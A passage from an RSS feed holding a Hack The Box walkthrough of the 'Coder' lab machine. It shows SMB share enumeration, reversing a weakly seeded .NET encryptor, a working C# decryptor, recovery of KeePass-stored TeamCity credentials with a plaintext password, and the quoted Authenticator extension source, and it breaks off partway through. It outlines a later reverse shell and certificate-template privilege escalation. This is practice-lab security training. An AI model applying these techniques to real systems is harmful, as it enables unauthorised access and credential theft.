<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by ar0x on Medium]]></title>
        <description><![CDATA[Stories by ar0x on Medium]]></description>
        <link>https://medium.com/@ar0x?source=rss-347592490948------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*sB4haG7HjHespPAB2JvbGg.png</url>
            <title>Stories by ar0x on Medium</title>
            <link>https://medium.com/@ar0x?source=rss-347592490948------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 04:38:53 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ar0x/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HTB — Coder]]></title>
            <link>https://ar0x.medium.com/htb-coder-916615c5d1de?source=rss-347592490948------2</link>
            <guid isPermaLink="false">https://medium.com/p/916615c5d1de</guid>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[htb-walkthrough]]></category>
            <category><![CDATA[htb]]></category>
            <dc:creator><![CDATA[ar0x]]></dc:creator>
            <pubDate>Tue, 06 Feb 2024 13:01:17 GMT</pubDate>
            <atom:updated>2024-02-06T17:50:07.566Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTB — Coder</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bDOGaJHTPb_QPkbY" /></figure><h3>Machine Summary</h3><p>Coder was one of the best machines I have ever done on HTB. This machine starts by enumerating the SMB shares via the anonymous login and finding the s.blade.enc and the Encryptor.exe (.NET binary), by running the Encryptor.exe you can decrypt the s.blade.enc and you get a KeePass DB and the key. At this stage you will get the credentials and backup of the Authenticator 2FA for s.blade to login to the TeamCity CI/CID, after a login attempt you will see that you have to enter a TOTP. With the backup file provided you should be able to recover the MasterKey, read the source code of the plugin and reverse engineer the import.ts. After that the coding part starts, a custom script to brute force the encryption key and recover the MasterKey. Once you have the key, you can import the backup file into the plugin and use the TOTP to login to the CI/CD. After that you should upload a diff file to get reverse shell on the server. So now we have a session as svc_teamcity and we can find a PS Secure String in C:\ProgramData and by decrypting the Secure String we get the password for e.black. The privilege escalation part was pretty straightforward. e.black is in the PKI Admins group and has full control over the PK infrastructure. By adding a vulnerable template, we can request a ticket on behalf of the administrator and use that to dump the administrator hash.</p><h3>Recon</h3><pre>title: NMAP<br>collapse: open<br>PORT     STATE SERVICE       VERSION<br>53/tcp   open  domain        Simple DNS Plus<br>80/tcp   open  http          Microsoft IIS httpd 10.0<br>|_http-server-header: Microsoft-IIS/10.0<br>|_http-title: IIS Windows Server<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-12-26 17:27:09Z)<br>135/tcp  open  msrpc         Microsoft Windows RPC<br>139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: coder.htb0., Site: Default-First-Site-Name)<br>| ssl-cert: Subject: <br>| Subject Alternative Name: DNS:dc01.coder.htb, DNS:coder.htb, DNS:CODER<br>| Not valid before: 2023-11-21T23:06:46<br>|_Not valid after:  2033-11-21T23:16:46<br>|_ssl-date: 2023-12-26T17:27:53+00:00; +7h58m26s from scanner time.<br>443/tcp  open  ssl/http      Microsoft IIS httpd 10.0<br>|_ssl-date: 2023-12-26T17:27:53+00:00; +7h58m26s from scanner time.<br>| ssl-cert: Subject: commonName=default-ssl/organizationName=HTB/stateOrProvinceName=CA/countryName=US<br>| Not valid before: 2022-11-04T17:25:43<br>|_Not valid after:  2032-11-01T17:25:43<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>|_http-title: IIS Windows Server<br>| tls-alpn: <br>|_  http/1.1<br>|_http-server-header: Microsoft-IIS/10.0<br>445/tcp  open  microsoft-ds?<br>464/tcp  open  kpasswd5?<br>593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: coder.htb0., Site: Default-First-Site-Name)<br>| ssl-cert: Subject: <br>| Subject Alternative Name: DNS:dc01.coder.htb, DNS:coder.htb, DNS:CODER<br>| Not valid before: 2023-11-21T23:06:46<br>|_Not valid after:  2033-11-21T23:16:46<br>|_ssl-date: 2023-12-26T17:27:53+00:00; +7h58m26s from scanner time.<br>3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: coder.htb0., Site: Default-First-Site-Name)<br>| ssl-cert: Subject: <br>| Subject Alternative Name: DNS:dc01.coder.htb, DNS:coder.htb, DNS:CODER<br>| Not valid before: 2023-11-21T23:06:46<br>|_Not valid after:  2033-11-21T23:16:46<br>|_ssl-date: 2023-12-26T17:27:54+00:00; +7h58m26s from scanner time.<br>3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: coder.htb0., Site: Default-First-Site-Name)<br>|_ssl-date: 2023-12-26T17:27:53+00:00; +7h58m26s from scanner time.<br>| ssl-cert: Subject: <br>| Subject Alternative Name: DNS:dc01.coder.htb, DNS:coder.htb, DNS:CODER<br>| Not valid before: 2023-11-21T23:06:46<br>|_Not valid after:  2033-11-21T23:16:46<br>Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows<br>Host script results:<br>| smb2-security-mode: <br>|   3:1:1: <br>|_    Message signing enabled and required<br>| smb2-time: <br>|   date: 2023-12-26T17:27:49<br>|_  start_date: N/A<br>|_clock-skew: mean: 7h58m25s, deviation: 0s, median: 7h58m25s</pre><pre>- **coder.htb**<br>- **dc01.coder.htb**<br>- **teamcity-dev.coder.htb**</pre><p>We have the usual Windows Server ports, but let’s start with SMB first.</p><p>SMB Anonymous login is allowed and we can log in without any credentials. Great, now lets list all the shares available on the network.</p><pre>┌──(netexec-aAT1m2Ox-py3.11)─(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]<br>└─$ netexec smb coder.htb -u &#39; &#39; -p &#39;&#39;<br>SMB         10.129.229.190  445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:coder.htb) (signing:True) (SMBv1:False)<br>SMB         10.129.229.190  445    DC01             [+] coder.htb\ :</pre><p>We have the following stocks. The ‘Development’ share sounds interesting, let’s have a look and see what we can find in this share.</p><pre>┌──(netexec-aAT1m2Ox-py3.11)─(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]<br>└─$ netexec smb coder.htb -u &#39; &#39; -p &#39;&#39; --shares<br>SMB         10.129.229.190  445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:coder.htb) (signing:True) (SMBv1:False)<br>SMB         10.129.229.190  445    DC01             [+] coder.htb\ :<br>SMB         10.129.229.190  445    DC01             [*] Enumerated shares<br>SMB         10.129.229.190  445    DC01             Share           Permissions     Remark<br>SMB         10.129.229.190  445    DC01             -----           -----------     ------<br>SMB         10.129.229.190  445    DC01             ADMIN$                          Remote Admin<br>SMB         10.129.229.190  445    DC01             C$                              Default share<br>SMB         10.129.229.190  445    DC01             Development     READ<br>SMB         10.129.229.190  445    DC01             IPC$            READ            Remote IPC<br>SMB         10.129.229.190  445    DC01             NETLOGON                        Logon server share<br>SMB         10.129.229.190  445    DC01             SYSVOL                          Logon server share<br>SMB         10.129.229.190  445    DC01             Users           READ</pre><p>So now we have to wait for the smbclient to dump the hole data into development shares. But now we can check the web site on port 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*j7VatNcX5XS-aSYk" /></figure><p>As we can see there was nothing special, the default IIS web page.</p><pre>┌──(netexec-aAT1m2Ox-py3.11)─(ar0x㉿kali)-[~/…/HTB/Machines/Coder/Migrations]<br>└─$ ls<br>   rwxr-xr-x   3   ar0x   ar0x      4 KiB   Tue Dec 26 10:39:10 2023    adcs_reporting/<br>   rwxr-xr-x   3   ar0x   ar0x      4 KiB   Tue Dec 26 10:39:11 2023    bootstrap-template-master/<br>   rwxr-xr-x   3   ar0x   ar0x      4 KiB   Tue Dec 26 10:39:11 2023    Cachet-2.4/<br>   rwxr-xr-x   3   ar0x   ar0x      4 KiB   Tue Dec 26 10:39:11 2023    kimchi-master/<br>   rwxr-xr-x   3   ar0x   ar0x      4 KiB   Tue Dec 26 10:39:11 2023    teamcity_test_repo/</pre><p>So some names are very familiar to me, teamcity is Jetbrains CI/CD.</p><pre>TeamCity is a Continuous Integration and Deployment server that provides out-of-the-box continuous unit testing, code quality analysis, and early reporting on build problems. A simple installation process lets you deploy TeamCity and start improving your release management practices in a matter of minutes. TeamCity supports Java, .NET, and Ruby development and integrates perfectly with major IDEs, version control systems, and issue tracking systems.</pre><pre>┌──(netexec-aAT1m2Ox-py3.11)─(ar0x㉿kali)-[~/…/Machines/Coder/Migrations/teamcity_test_repo]<br>└─$ ls<br>   rw-r--r--   1   ar0x   ar0x     67 B     Tue Dec 26 10:39:11 2023   ✓    hello_world.ps1<br>┌──(netexec-aAT1m2Ox-py3.11)─(ar0x㉿kali)-[~/…/Machines/Coder/Migrations/teamcity_test_repo]<br>└─$ cat hello_world.ps1<br>#Simple repo test for Teamcity pipeline<br>write-host &quot;Hello, World!&quot;</pre><p>Inside the folder we have the hello_world.ps1 script, which tells us that this script is being run for testing purposes.</p><p>We may be able to abuse this later to gain access to the machine. But not sure, it is just a prediction.</p><p>Things get interesting after that, I found Encrypter.exe and s.blade.enc in the Temporary Projects folder.</p><pre>┌──(netexec-aAT1m2Ox-py3.11)─(ar0x㉿kali)-[~/…/HTB/Machines/Coder/Temporary Projects]<br>└─$ ls<br>   rw-r--r--   1   ar0x   ar0x      5 KiB   Tue Dec 26 10:39:10 2023    Encrypter.exe<br>   rw-r--r--   1   ar0x   ar0x      3 KiB   Tue Dec 26 10:39:10 2023    s.blade.enc</pre><h3>Initial Access</h3><h4>Shell as svc_teamcity</h4><p>Encryptor Reversing</p><p>So the Encrypter.exe is a .NET application, and we can reverse it very quickly and easily.</p><pre>┌──(netexec-aAT1m2Ox-py3.11)─(ar0x㉿kali)-[~/…/HTB/Machines/Coder/Temporary Projects]<br>└─$ file Encrypter.exe<br>Encrypter.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections</pre><p>This application’s functionality is very simple.</p><pre>public static void Main(string[] args)<br>{<br>    if (args.Length != 1)<br>    {<br>        Console.WriteLine(&quot;You must provide the name of a file to encrypt.&quot;);<br>        return;<br>    }<br>    FileInfo fileInfo = new FileInfo(args[0]);<br>    string destFile = Path.ChangeExtension(fileInfo.Name, &quot;.enc&quot;);<br>    long value = DateTimeOffset.Now.ToUnixTimeSeconds();<br>    Random random = new Random(Convert.ToInt32(value));<br>    byte[] array = new byte[16];<br>    random.NextBytes(array);<br>    byte[] array2 = new byte[32];<br>    random.NextBytes(array2);<br>    byte[] array3 = EncryptFile(fileInfo.Name, destFile, array2, array);<br>}</pre><p>It takes the filename and uses the current time (which is converted to a unix timestamp) as a seed and generates a random key and iv.</p><pre>private static byte[] EncryptFile(string sourceFile, string destFile, byte[] Key, byte[] IV)<br>{<br>    using (RijndaelManaged rijndaelManaged = new RijndaelManaged())<br>    {<br>        using FileStream stream = new FileStream(destFile, FileMode.Create);<br>        using ICryptoTransform transform = rijndaelManaged.CreateEncryptor(Key, IV);<br>        using CryptoStream cryptoStream = new CryptoStream(stream, transform, CryptoStreamMode.Write);<br>        using FileStream fileStream = new FileStream(sourceFile, FileMode.Open);<br>        byte[] array = new byte[1024];<br>        int count;<br>        while ((count = fileStream.Read(array, 0, array.Length)) != 0)<br>        {<br>            cryptoStream.Write(array, 0, count);<br>        }<br>    }<br>    return null;<br>}</pre><p>And the EncryptFile method gets the filename, destination file, key and iv and it will just encrypt the contents of the file with the RijndaelManaged (AES) algorithm.</p><p>So it is very simple, but the problem is that the key and iv are randomly generated. So we can recover it without any additional information. But we have the encrypted file. That means we can check the last modification time and so we can recover the seed. And the last step is to change the EncryptFile to DecryptFile.</p><p>Get Encryption Time</p><pre>┌──(ar0x㉿kali)-[~/…/HTB/Machines/Coder/Temporary Projects]<br>└─$ stat s.blade.enc<br>  File: s.blade.enc<br>  Size: 3808            Blocks: 8          IO Block: 4096   regular file<br>Device: 8,1     Inode: 4194520     Links: 1<br>Access: (0644/-rw-r--r--)  Uid: ( 1000/    ar0x)   Gid: ( 1000/    ar0x)<br>Access: 2023-12-26 11:00:25.166406307 +0100<br>Modify: 2023-12-26 10:39:10.502606601 +0100<br>Change: 2023-12-26 10:39:10.502606601 +0100<br> Birth: 2023-12-26 10:39:10.410606001 +0100</pre><p>So we can see that the times are modified after i downloaded this file on my system. BUT the file has still the correct information in the Development Share folder.</p><p>So lets see if we can get the correct time from this file. So we can just mount the smb share to our system and than check the file information with stat again.</p><pre>┌──(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]<br>└─$ sudo mount -t cifs //`box`/Development /mnt/development<br>Password for root@//10.129.229.190/Development:</pre><p><em>Just hit enter for the password</em></p><pre>┌──(ar0x㉿kali)-[/mnt/development/Temporary Projects]<br>└─$ stat s.blade.enc<br>  File: s.blade.enc<br>  Size: 3808            Blocks: 8          IO Block: 1048576 regular file<br>Device: 0,69    Inode: 1125899907128474  Links: 1<br>Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)<br>Access: 2022-11-11 23:17:08.374350100 +0100<br>Modify: 2022-11-11 23:17:08.374350100 +0100<br>Change: 2022-11-11 23:17:08.374350100 +0100<br> Birth: 2022-11-07 22:05:02.949637700 +0100</pre><p>And it looks much better than before. Great, now we have the correct modification time. Now we have to convert this time to unixtime stamp and then we can use it in our decryptor.</p><pre>┌──(ar0x㉿kali)-[/mnt/development/Temporary Projects]<br>└─$ date -d &quot;2022-11-11 23:17:08.374350100 +0100&quot; +&quot;%s&quot;<br>1668205028</pre><p>Writing the Decryptor</p><p>And here we got our timestamp. NICE</p><pre>using System.Security.Cryptography;<br>static byte[] DecryptFile(string sourceFile, string destFile, byte[] Key, byte[] IV)<br>{<br>    using (RijndaelManaged rijndaelManaged = new RijndaelManaged())<br>    {<br>        using FileStream stream = new FileStream(destFile, FileMode.Create);<br>        using ICryptoTransform transform = rijndaelManaged.CreateDecryptor(Key, IV);<br>        using CryptoStream cryptoStream = new CryptoStream(stream, transform, CryptoStreamMode.Write);<br>        using FileStream fileStream = new FileStream(sourceFile, FileMode.Open);<br>        byte[] array = new byte[1024];<br>        int count;<br>        while ((count = fileStream.Read(array, 0, array.Length)) != 0)<br>        {<br>            cryptoStream.Write(array, 0, count);<br>        }<br>    }<br>    return null;<br>}<br>string sourceFile = &quot;C:/Users/ar0x/Desktop/HTB/Coder/s.blade.enc&quot;;<br>string destFile = &quot;C:/Users/ar0x/Desktop/HTB/Coder/s.blade.txt&quot;;<br>long seed = 1668205028;<br>Random random = new Random(Convert.ToInt32(seed));<br>byte[] iv = new byte[16];<br>random.NextBytes(iv);<br>byte[] key = new byte[32];<br>random.NextBytes(key);<br>DecryptFile(sourceFile, destFile, key, iv);<br>Console.WriteLine(&quot;File Decrypted, check the s.blade.txt file&quot;);</pre><p>So now I have taken some of the source code and built my own decryptor, so lets run it and see what we get after decrypting the file.</p><pre>c:\Users\ar0x\Desktop\HTB\Coder<br>λ file s.blade.txt<br>s.blade.txt: 7-zip archive data, version 0.4</pre><p>Access Teamcity serverRecovering the KeePass Creds</p><p>So this a 7-zip file, lets rename the extension to 7z to extract the files that are zipped.</p><pre>c:\Users\ar0x\Desktop\HTB\Coder<br>λ ls -la<br>total 18<br>drwxrwxrwx   1 user     group           0 Dec 26 03:03 .<br>drwxrwxrwx   1 user     group           0 Dec 26 02:00 ..<br>-rw-rw-rw-   1 user     group        1024 Nov  3  2022 .key<br>drwxrwxrwx   1 user     group           0 Dec 26 02:16 Decryptor<br>-rwxrwxrwx   1 user     group        5632 Dec 26 01:39 Encrypter.exe<br>-rw-rw-rw-   1 user     group        3799 Dec 26 02:56 s.blade.7z<br>-rw-rw-rw-   1 user     group        3808 Dec 26 01:39 s.blade.enc<br>-rw-rw-rw-   1 user     group        2590 Nov 11  2022 s.blade.kdbx</pre><p>OHHH, we got a kdbx file and a .key file so lets open the s.blade.kdbx file and see what is waiting for us.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2M0Dh1QKFyFlSvgF" /></figure><p>The fucking TeamCity I told you guys. So now we have a new vhost https://teamcity-dev.coder.htb and the credentials for s.blade for the CI/CD and we also found the Authenticator backup codes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Psxu-mlJgpjLlugM" /></figure><pre>{<br>  &quot;6132e897-44a2-4d14-92d2-12954724e83f&quot;: {<br>    &quot;encrypted&quot;: true,<br>    &quot;hash&quot;: &quot;6132e897-44a2-4d14-92d2-12954724e83f&quot;,<br>    &quot;index&quot;: 1,<br>    &quot;type&quot;: &quot;totp&quot;,<br>    &quot;secret&quot;: &quot;U2FsdGVkX1+3JfFoKh56OgrH5jH0LLtc+34jzMBzE+QbqOBTXqKvyEEPKUyu13N2&quot;,<br>    &quot;issuer&quot;: &quot;TeamCity&quot;,<br>    &quot;account&quot;: &quot;s.blade&quot;<br>  },<br>  &quot;key&quot;: {<br>    &quot;enc&quot;: &quot;U2FsdGVkX19dvUpQDCRui5XaLDSbh9bP00/1iBSrKp7102OR2aRhHN0s4QHq/NmYwxadLeTN7Me1a3LrVJ+JkKd76lRCnd1utGp/Jv6w0hmcsqdhdccOpixnC3wAnqBp+5QyzPVaq24Z4L+Rx55HRUQVNLrkLgXpkULO20wYbQrJYN1D8nr3g/G0ukrmby+1&quot;,<br>    &quot;hash&quot;: &quot;$argon2id$v=19$m=16384,t=1,p=1$L/vKleu5gFis+GLZbROCPw$OzW14DA0kdgIjCbo6MPDYoh+NEHnNCNV&quot;<br>  }<br>}</pre><p>And sadly the password is not valid for AD.</p><pre>┌──(netexec-aAT1m2Ox-py3.11)─(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]<br>└─$ netexec smb coder.htb -u &#39;s.blade&#39; -p &#39;veh5nUSZFFoqz9CrrhSeuwhA&#39;<br>SMB         10.129.229.190  445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:coder.htb) (signing:True) (SMBv1:False)<br>SMB         10.129.229.190  445    DC01             [-] coder.htb\s.blade:veh5nUSZFFoqz9CrrhSeuwhA STATUS_LOGON_FAILURE</pre><p>So let’s login with these creds and see what we can do on TeamCity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MSq2LVenYHvy1vf-" /></figure><p>And get fucked 🫠. So now the Authenticator backup codes makes sense. I taught that&#39;s just here.</p><p>Identifying the Application/Plugin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uW8LKCOkdWYique2" /></figure><p>So based on the saved name in keepass, i search for Authenticator in Firefox plugins and i found out that apparently this the used plugin for MFA. So and this plugin allow us to import and export backup files. I tried to import the file that we got, and what a surprise we should have the master key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bxVs3vEYpgbpOGjT" /></figure><p>That was fist time that i worked with this plugin and i had no idea about it. So i started to play with it. I added a manual entry, and its very important that you enter a long password, because short passwords are invalid and you cant create a entry.</p><pre>ar0x:VulnLabBetterThanHTB</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/324/0*T9H59oMRcobSLC0P" /></figure><p>So now lets export this and see if these files are identical.</p><pre>┌──(netexec-aAT1m2Ox-py3.11)─(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]<br>└─$ cat authenticator.json<br>{<br>  &quot;e6a3e987-eb1f-46c2-afff-c5cb155b4463&quot;: {<br>    &quot;encrypted&quot;: true,<br>    &quot;hash&quot;: &quot;e6a3e987-eb1f-46c2-afff-c5cb155b4463&quot;,<br>    &quot;index&quot;: 0,<br>    &quot;type&quot;: &quot;totp&quot;,<br>    &quot;secret&quot;: &quot;U2FsdGVkX196FpehKG28gBu9qHZx2N1i8Rqrzs3NHZld6h12EkQ/CJ4aMcR98emb&quot;,<br>    &quot;issuer&quot;: &quot;ar0x&quot;<br>  },<br>  &quot;key&quot;: {<br>    &quot;enc&quot;: &quot;U2FsdGVkX18q7mO2iijnS+aGTjJBXm5hdHNNHEW3bs2V+OPbIVRBIzY1PtVxZzzMfMjv5nMk47Z0jfQ1oKj1POFeqJI7SySsINOvUEZLlJleQemWSYNp0ku+pqg/uSaFN96kPU0b7baLKvFYy91UsTKjn8EJIlSZmtZYw6HdMpdtoSwOQo2/+KHXWmbXuMm0&quot;,<br>    &quot;hash&quot;: &quot;$argon2id$v=19$m=16384,t=1,p=1$wNMNUhro7aTDYCf9Zi+7NQ$B8zfFcuIC54Nckr8NMi9LBqqwVBdQddR&quot;<br>  }<br>}</pre><pre>┌──(netexec-aAT1m2Ox-py3.11)─(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]<br>└─$ cat sblade_authenticator.json<br>{<br>  &quot;6132e897-44a2-4d14-92d2-12954724e83f&quot;: {<br>    &quot;encrypted&quot;: true,<br>    &quot;hash&quot;: &quot;6132e897-44a2-4d14-92d2-12954724e83f&quot;,<br>    &quot;index&quot;: 1,<br>    &quot;type&quot;: &quot;totp&quot;,<br>    &quot;secret&quot;: &quot;U2FsdGVkX1+3JfFoKh56OgrH5jH0LLtc+34jzMBzE+QbqOBTXqKvyEEPKUyu13N2&quot;,<br>    &quot;issuer&quot;: &quot;TeamCity&quot;,<br>    &quot;account&quot;: &quot;s.blade&quot;<br>  },<br>  &quot;key&quot;: {<br>    &quot;enc&quot;: &quot;U2FsdGVkX19dvUpQDCRui5XaLDSbh9bP00/1iBSrKp7102OR2aRhHN0s4QHq/NmYwxadLeTN7Me1a3LrVJ+JkKd76lRCnd1utGp/Jv6w0hmcsqdhdccOpixnC3wAnqBp+5QyzPVaq24Z4L+Rx55HRUQVNLrkLgXpkULO20wYbQrJYN1D8nr3g/G0ukrmby+1&quot;,<br>    &quot;hash&quot;: &quot;$argon2id$v=19$m=16384,t=1,p=1$L/vKleu5gFis+GLZbROCPw$OzW14DA0kdgIjCbo6MPDYoh+NEHnNCNV&quot;<br>  }<br>}</pre><p>Understanding the Decryption</p><p>So we can see that these files are identical, that means that sblade exported his totp password protected and we should somehow crack the master password to get MFA tokens.</p><p>So this plugin is open source and we can check the source code to configure out how this plugin is encrypting the master key and if we can somehow recover this key. I mean its a bit too much but i guess the only way that we have.</p><p>Repo: <a href="https://github.com/Authenticator-Extension/Authenticator">https://github.com/Authenticator-Extension/Authenticator</a></p><p>This the source code of import.ts this file is used when we import a backup so actually the only interesting file for us is this one.</p><pre>import Vue from &quot;vue&quot;;<br>import ImportView from &quot;./components/Import.vue&quot;;<br>import CommonComponents from &quot;./components/common/index&quot;;<br>import { loadI18nMessages } from &quot;./store/i18n&quot;;<br><br>import { Encryption } from &quot;./models/encryption&quot;;<br>import { EntryStorage } from &quot;./models/storage&quot;;<br>import { getOTPAuthPerLineFromOPTAuthMigration } from &quot;./models/migration&quot;;<br>import * as CryptoJS from &quot;crypto-js&quot;;<br>import * as uuid from &quot;uuid/v4&quot;;<br><br>async function init() {<br>  // i18n<br>  Vue.prototype.i18n = await loadI18nMessages();<br><br>  // Load common components globally<br>  for (const component of CommonComponents) {<br>    Vue.component(component.name, component.component);<br>  }<br><br>  // Load entries to global<br>  const encryption = new Encryption(await getCachedPassphrase());<br>  const entries = await EntryStorage.get();<br><br>  if (encryption.getEncryptionStatus()) {<br>    for (const entry of entries) {<br>      await entry.applyEncryption(encryption);<br>    }<br>  }<br><br>  Vue.prototype.$entries = entries;<br>  Vue.prototype.$encryption = encryption;<br><br>  const instance = new Vue({<br>    render: (h) =&gt; h(ImportView),<br>  }).$mount(&quot;#import&quot;);<br><br>  // Set title<br>  try {<br>    document.title = instance.i18n.extName;<br>  } catch (e) {<br>    console.error(e);<br>  }<br>}<br><br>init();<br><br>function getCachedPassphrase() {<br>  return new Promise((resolve: (value: string) =&gt; void) =&gt; {<br>    chrome.runtime.sendMessage(<br>      { action: &quot;passphrase&quot; },<br>      (passphrase: string) =&gt; {<br>        return resolve(passphrase);<br>      }<br>    );<br>  });<br>}<br><br>export function decryptBackupData(<br>  backupData: { [hash: string]: OTPStorage },<br>  passphrase: string | null<br>) {<br>  const decryptedbackupData: { [hash: string]: OTPStorage } = {};<br>  for (const hash of Object.keys(backupData)) {<br>    if (typeof backupData[hash] !== &quot;object&quot;) {<br>      continue;<br>    }<br>    if (!backupData[hash].secret) {<br>      continue;<br>    }<br>    if (backupData[hash].encrypted &amp;&amp; !passphrase) {<br>      continue;<br>    }<br>    if (backupData[hash].encrypted &amp;&amp; passphrase) {<br>      try {<br>        backupData[hash].secret = CryptoJS.AES.decrypt(<br>          backupData[hash].secret,<br>          passphrase<br>        ).toString(CryptoJS.enc.Utf8);<br>        backupData[hash].encrypted = false;<br>      } catch (error) {<br>        continue;<br>      }<br>    }<br>    // backupData[hash].secret may be empty after decrypt with wrong<br>    // passphrase<br>    if (!backupData[hash].secret) {<br>      continue;<br>    }<br>    decryptedbackupData[hash] = backupData[hash];<br>  }<br>  return decryptedbackupData;<br>}<br><br>export async function getEntryDataFromOTPAuthPerLine(importCode: string) {<br>  const lines = importCode.split(&quot;\n&quot;);<br>  const exportData: { [hash: string]: OTPStorage } = {};<br>  let failedCount = 0;<br>  let succeededCount = 0;<br>  for (let item of lines) {<br>    item = item.trim();<br>    if (item.startsWith(&quot;otpauth-migration:&quot;)) {<br>      const migrationData = getOTPAuthPerLineFromOPTAuthMigration(item);<br>      for (const line of migrationData) {<br>        lines.push(line);<br>      }<br>      continue;<br>    }<br>    if (!item.startsWith(&quot;otpauth:&quot;)) {<br>      continue;<br>    }<br><br>    let uri = item.split(&quot;otpauth://&quot;)[1];<br>    let type = uri.substr(0, 4).toLowerCase();<br>    uri = uri.substr(5);<br>    let label = uri.split(&quot;?&quot;)[0];<br>    const parameterPart = uri.split(&quot;?&quot;)[1];<br>    if (!parameterPart) {<br>      failedCount++;<br>      continue;<br>    } else {<br>      let secret = &quot;&quot;;<br>      let account: string | undefined;<br>      let issuer: string | undefined;<br>      let algorithm: string | undefined;<br>      let period: number | undefined;<br>      let digits: number | undefined;<br><br>      try {<br>        label = decodeURIComponent(label);<br>      } catch (error) {<br>        console.error(error);<br>      }<br>      if (label.indexOf(&quot;:&quot;) !== -1) {<br>        issuer = label.split(&quot;:&quot;)[0];<br>        account = label.split(&quot;:&quot;)[1];<br>      } else {<br>        account = label;<br>      }<br>      const parameters = parameterPart.split(&quot;&amp;&quot;);<br>      parameters.forEach((item) =&gt; {<br>        const parameter = item.split(&quot;=&quot;);<br>        if (parameter[0].toLowerCase() === &quot;secret&quot;) {<br>          secret = parameter[1];<br>        } else if (parameter[0].toLowerCase() === &quot;issuer&quot;) {<br>          try {<br>            issuer = decodeURIComponent(parameter[1]);<br>          } catch {<br>            issuer = parameter[1];<br>          }<br>          issuer = issuer.replace(/\+/g, &quot; &quot;);<br>        } /* else if (parameter[0].toLowerCase() === &quot;counter&quot;) {<br>          let counter = Number(parameter[1]);<br>          counter = isNaN(counter) || counter &lt; 0 ? 0 : counter;<br>        } */ else if (<br>          parameter[0].toLowerCase() === &quot;period&quot;<br>        ) {<br>          period = Number(parameter[1]);<br>          period =<br>            isNaN(period) || period &lt; 0 || period &gt; 60 || 60 % period !== 0<br>              ? undefined<br>              : period;<br>        } else if (parameter[0].toLowerCase() === &quot;digits&quot;) {<br>          digits = Number(parameter[1]);<br>          digits = isNaN(digits) ? 6 : digits;<br>        } else if (parameter[0].toLowerCase() === &quot;algorithm&quot;) {<br>          algorithm = parameter[1];<br>        }<br>      });<br><br>      if (!secret) {<br>        failedCount++;<br>        continue;<br>      } else if (<br>        !/^[0-9a-f]+$/i.test(secret) &amp;&amp;<br>        !/^[2-7a-z]+=*$/i.test(secret)<br>      ) {<br>        failedCount++;<br>        continue;<br>      } else {<br>        const hash = await uuid();<br>        if (<br>          !/^[2-7a-z]+=*$/i.test(secret) &amp;&amp;<br>          /^[0-9a-f]+$/i.test(secret) &amp;&amp;<br>          type === &quot;totp&quot;<br>        ) {<br>          type = &quot;hex&quot;;<br>        } else if (<br>          !/^[2-7a-z]+=*$/i.test(secret) &amp;&amp;<br>          /^[0-9a-f]+$/i.test(secret) &amp;&amp;<br>          type === &quot;hotp&quot;<br>        ) {<br>          type = &quot;hhex&quot;;<br>        }<br><br>        exportData[hash] = {<br>          account,<br>          hash,<br>          issuer,<br>          secret,<br>          type,<br>          encrypted: false,<br>          index: 0,<br>          counter: 0,<br>          pinned: false,<br>        };<br>        if (period) {<br>          exportData[hash].period = period;<br>        }<br>        if (digits) {<br>          exportData[hash].digits = digits;<br>        }<br>        if (algorithm) {<br>          exportData[hash].algorithm = algorithm;<br>        }<br><br>        succeededCount++;<br>      }<br>    }<br>  }<br><br>  return { exportData, failedCount, succeededCount };<br>}</pre><p>This is the function that will handle our data when we want to import a new backup.</p><pre>export function decryptBackupData(<br>  backupData: { [hash: string]: OTPStorage },<br>  passphrase: string | null<br>) {<br>  const decryptedbackupData: { [hash: string]: OTPStorage } = {};<br>  for (const hash of Object.keys(backupData)) {<br>    if (typeof backupData[hash] !== &quot;object&quot;) {<br>      continue;<br>    }<br>    